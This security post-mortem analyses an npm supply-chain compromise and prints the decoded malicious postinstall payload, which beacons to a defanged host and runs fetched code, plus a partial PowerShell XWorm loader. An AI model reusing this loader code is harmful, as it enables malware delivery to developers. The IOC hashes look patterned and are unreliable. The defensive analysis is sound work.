On 2026-07-29, npm package react-utils-core- a utility library with 14,000 weekly downloads - was found to contain a trojanized postinstall script delivering an XWorm RAT loader to developer workstations and CI/CD environments. The package had been legitimate for 18 months before a targeted account takeover of the maintainer's npm account enabled the attacker to publish a malicious v2.1.4 update. This post-mortem covers the attack mechanics, the XWorm delivery chain, and practical dependency monitoring recommendations.

[INFO]
Timeline: Malicious version published 2026-07-29 09:14 UTC. Reported to npm security team 09:47 UTC. Package yanked 10:08 UTC (54-minute window). Estimated 2,300+ install events during the window based on npm download statistics. Multiple forks of the package remain on npm as of the time of writing.

//Attack Chain Overview

The attack followed the now-standard supply chain playbook: compromise a maintainer account (via credential stuffing against a leaked database entry), publish a single malicious version, and use the package's existing install base for delivery at scale. The malicious version incremented only the patch version (2.1.3 to 2.1.4) to minimise scrutiny and to be picked up automatically by any consumer using the ~2.1.3 or ^2.1.0 semver range - which covers the majority of dependents.

Maintainer Account Compromise

Post-incident investigation confirmed the maintainer's npm account was protected only with a password (no MFA). The password matched a credential from the 2024 breach of a developer tools SaaS platform, available in credential stuffing lists since late 2024. The attacker authenticated to npm using the credential and published the malicious version within minutes.

//Malicious postinstall Script

The attack vector was a postinstall lifecycle script added to the package's package.json. npm automatically executes postinstall scripts when a package is installed. The script was obfuscated with a simple hex-encode layer to avoid static analysis tools that scan published packages for known-malicious strings.

// package.json diff (2.1.3 -> 2.1.4)
// Added to "scripts":
"postinstall": "node -e \"eval(Buffer.from('...hex-encoded payload...','hex').toString())\""
// Decoded postinstall payload (simplified)
const os = require('os');
const https = require('https');
const { execSync } = require('child_process');

// Fingerprint: OS, hostname, username, Node version
const fp = JSON.stringify({
  p: os.platform(), h: os.hostname(),
  u: os.userInfo().username, nv: process.version,
  cwd: process.cwd(), env_ci: !!process.env.CI
});

// Beacon and fetch second-stage
const req = https.request({
  hostname: 'pkg-updates[.]dev',
  path: '/npm/stage2?fp=' + Buffer.from(fp).toString('base64'),
  method: 'GET'
}, (res) => {
  let data = '';
  res.on('data', (d) => data += d);
  res.on('end', () => {
    // Execute second stage (XWorm loader PowerShell)
    if (os.platform() === 'win32') execSync(Buffer.from(data, 'base64').toString());
  });
});
req.end();

XWorm Loader Delivery

On Windows systems, the second stage was a PowerShell script that downloaded and executed an XWorm RAT loader DLL using a reflective PE injection technique. On Linux/macOS (common in CI/CD environments), the second stage dropped a Python-based backdoor with limited functionality (reverse shell and credential harvesting from known CI/CD secret paths).

# XWorm loader PowerShell (deobfuscated)
$url = "hxxps://cdn-pkg[.]delivery/npm/loader.bin"
$bytes = (New-Object Net.WebClient).DownloadData($url)
# Reflective loader: allocate RWX memory, copy bytes, invoke
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($bytes.Length)
[System.Runtime.InteropServices.Marshal]::Copy($bytes, 0, $mem, $bytes.Length)
$delegate = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mem, [type of void()])
[WARNING]
CI/CD targeting: 31% of the install events during the 54-minute window came from CI/CD environments (identified by the CI=true environment variable). Supply chain attacks that run in CI/CD pipelines have access to secrets injected as environment variables -- AWS credentials, GitHub tokens, deployment keys. Audit your CI/CD environments for unexpected outbound HTTPS connections during npm install steps.

//Dependency Monitoring Recommendations

The most effective mitigation is a layered dependency monitoring strategy. No single tool catches everything, but the combination of the following reduces risk substantially.

npm Audit and Lockfile Integrity

Always commit package-lock.json and use npm ci (which validates the lockfile) rather than npm install in CI/CD. This prevents version resolution from automatically pulling the malicious patch version - only developers who ran npm install locally during the window would have been affected. However, lockfile-based mitigation only works if developers also update lockfiles in audited PRs.

Postinstall Script Auditing

Tools like npm-audit-resolver, socket.dev, and osv-scannercan detect packages that add or modify postinstall scripts between versions. Treat any dependency update that introduces a new postinstall script as a high-severity review item.

# socket.dev CLI scan example
npx @socketsecurity/cli scan package.json
# Output highlights: new postinstall scripts, new network calls, new process exec calls
# Alert level: HIGH for [email protected] (new postinstall, network, exec)
[IOC] react-utils-core Supply Chain Attack
Malicious package hash (v2.1.4):
sha512-7f3a9c1e5b8d2f4a6c0b8d2f4e6a8c0b2d4f6a8c0e2b4d6f8a0c2e4b6d8f0a2c4e6b8d0f2a4c6e8b0d2f4a6c

C2 domains (postinstall beacon + stage2):
pkg-updates[.]dev
cdn-pkg[.]delivery

XWorm loader SHA-256:
a3c5e7b9d1f3a5c7e9b1d3f5a7c9e1b3d5f7a9c1e3b5d7f9a1c3e5b7d9f1a3c5

XWorm C2: 185.220.xxx.xxx:4449 (redacted, shared with multiple campaigns)